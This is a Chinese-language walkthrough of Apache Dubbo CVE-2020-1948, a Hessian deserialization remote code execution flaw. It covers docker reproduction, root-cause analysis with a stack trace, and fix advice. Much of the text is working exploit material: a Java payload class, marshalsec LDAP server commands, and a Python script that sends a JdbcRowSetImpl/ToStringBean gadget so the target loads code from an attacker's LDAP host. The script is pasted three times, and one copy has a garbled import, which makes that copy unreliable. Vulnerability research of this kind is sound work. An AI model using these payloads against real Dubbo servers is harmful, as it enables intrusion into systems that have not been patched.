Dubbo-CVE-2020-1948

APache Dubbo简介

Dubbo是一个分布式服务框架，致力于提供高性能和透明化的RPC远程服务调用方案，以及SOA服务治理方案。简单的说，dubbo就是个服务框架，如果没有分布式的需求，其实是不需要用的，只有在分布式的时候，才有dubbo这样的分布式服务框架的需求，并且本质上是个服务调用的东西，说白了就是个远程服务调用的分布式框架（告别Web Service模式中的WSDL，以服务者与消费者的方式在dubbo上注册） 其核心部分包含:

• 远程通讯: 提供对多种基于长连接的NIO框架抽象封装，包括多种线程模型，序列化，以及“请求-响应”模式的信息交换方式。
• 集群容错: 提供基于接口方法的透明远程过程调用，包括多协议支持，以及软负载均衡，失败容错，地址路由，动态配置等集群支持。
• 自动发现: 基于注册中心目录服务，使服务消费方能动态的查找服务提供方，使地址透明，使服务提供方可以平滑增加或减少机器。

下图是官方的工作原理图和解释

async 异步

sync 同步

• Provider :暴露服务方称为服务提供者
• Consumer :调用远程服务方称为服务消费者
• Rrgister：服务注册与发现的中心目录服务称之为服务注册中心
• Monitor：统计服务的调用次数和 时间的日志服务称为服务监控中心
• Container：服务运行容器

Provider将本地提供的远程方法在注册中心进行注册，Consumer需要调用时会先去注册中心进行查询，根据注册中心返回的结果再去对应的Provider中调用对应的远程方法，如果有变更，注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心，Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址Apache ZooKeeper

环境复现

影响版本

Dubbo 2.7.0 - 2.7.6

Dubbo 2.6.0 - 2.6.7

Dubbo 2.5.x

docker操作

docker pull dsolab/dubbo:cve-2020-1948

docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

漏洞利用

1. 编写java代码，进行简单的命令执行，这里以ping命令为例，用检测无回显的dnslog用于验证

import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class exp {
    public exp(){
        try {
            java.lang.Runtime.getRuntime().exec("ping zqmp97.dnslog.cn");
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }
}

1. 编译java代码为class文件

javac poc.java

最后得到class文件，这里遇到了一下javac -bash command not found的问题

使用如下命令解决

yum install java-1.8.0-openjdk-devel.x86_64

原因：下载的时候只执行了yum install java,导致不是完整的jdk

参考链接：https://www.cnblogs.com/sirdong/p/11987639.html

1. 启动静态网站服务，apache,nginx都可以，这里以python 开启80端口的web服务为例

python -m SimpleHTTPServer 80

1. 在另一个终端下载marshalsec,启动LDAP代理服务

下载地址: https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777

参考链接：https://www.cnblogs.com/afanti/p/11266087.html

java 反序列化利用工具 marshalsec 使用简介-CSDN博客

LDAP：轻型目录访问协议 （ 英文 ：Lightweight Directory Access Protocol ）是一个开放的，中立的，工业标准的 应用协议 ，通过 IP协议 提供访问控制和维护分布式信息的目录信息。轻型目录访问协议 （ 英文 ：Lightweight Directory Access Protocol）是一个开放的，中立的，工业标准的 应用协议，通过 IP协议提供访问控制和维护分布式信息的目录信息。

marshalsec 的用法,使用形式如下

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []]

参数说明

• -a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin）

• -t：对生成的payloads进行解码测试

• -v：verbose mode, 展示生成的payloads

• gadget_type：指定使用的payload

• arguments - payload运行时使用的参数

• marshalsec.：指定exploits，根目录下的java文件名

1. 编写python的脚本exp.py

在此之前，需要安装模块

pip install dubbo-py

# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.') 
# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')

1. 执行相应的py脚本

python exp.py 目标vps ldap://己方vps:777/exp

出现success的时候，说明成功

然后观察dnslog，也可以发现回显

同时我们可以留意一下相关的LDAP服务，当出现转发成功的时候，自然也是成功的

参考文章：Apache Dubbo CVE-2020-1948 反序列化漏洞利用-CSDN博客

原理研究

源码版本：dubbo v2.7.6

下载地址：https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee

下载后，将项目导入IDEA

我们开始分析一下现有的exp

poc1

# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')

poc2

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

不难发现，该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean，所以Provider的pom.xml中需要添加rometools的引用

我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml 添加依赖

    com.rometools
    rome
    1.7.0

然后导入依赖

漏洞成因

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法，重写了 toString，该方法将会调用构造对象的所有 getter 方法

从上面 PoC 可以看到，执行 Dubbo 调用时，传入的是 ToStringBean 类型参数，构造的对象是com.sun.rowset.JdbcRowSetImpl，并且 datasource 属性设置的是 JNDI 暴露的 url，在调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法时，执行 connect 操作，下载远端代码，在 Service Provider 执行，造成攻击。

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求，在 DecodeableRpcInvocation#decode 反序列化参数的地方：

dubbo 默认使用的是 hession2 序列化，解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

在 hession 反序列化过程中，通过下面代码段执行到了 ToStringBean#toString

堆栈利用链

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

修复建议

1. 删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
2. 升级 2.7.7 版本，并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验
3. 禁止将 Dubbo 服务端端口开放给公网，或仅仅只对能够连接至 Dubbo 服务端的可信消费端IP开放
4. Dubbo 协议默认采用 Hessian 作为序列化反序列化方式，该反序列化方式存在反序列化漏洞。在不影响业务的情况下，建议更换协议以及反序列化方式。具体更换方法可参考：http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

参考文章：

https://www.cnblogs.com/JingQ/p/13329083.html

https://www.cnblogs.com/zhengjim/p/13204194.html

https://www.cnblogs.com/zhengjim/p/13204194.html

Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析